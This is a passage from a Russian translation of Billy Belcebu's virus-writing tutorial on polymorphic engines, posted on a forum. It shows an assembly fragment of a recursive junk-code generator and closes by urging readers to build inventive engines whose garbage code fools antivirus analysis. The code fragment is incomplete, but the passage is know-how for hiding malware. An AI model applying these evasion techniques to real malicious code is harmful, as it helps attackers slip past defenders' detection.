  5.         jae     GarbageExit                       ;    рекурсии
  6.  
  7.         mov     eax,EndPolyTable-PolyTable
  8.         call    r_range
  9.         lea     ebx,[ebp+PolyTable]
  10.         mov     eax,[ebx+eax*4]
  11.         add     eax,ebp
  12.         call    eax
  13.  
  14.  GarbageExit:
  15.         dec     byte ptr [ebp+recursion_level]
  16.         ret

Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :smile3:.

Заключение

Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны! © Billy Belcebu, пер. Aquila


0 1.033
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532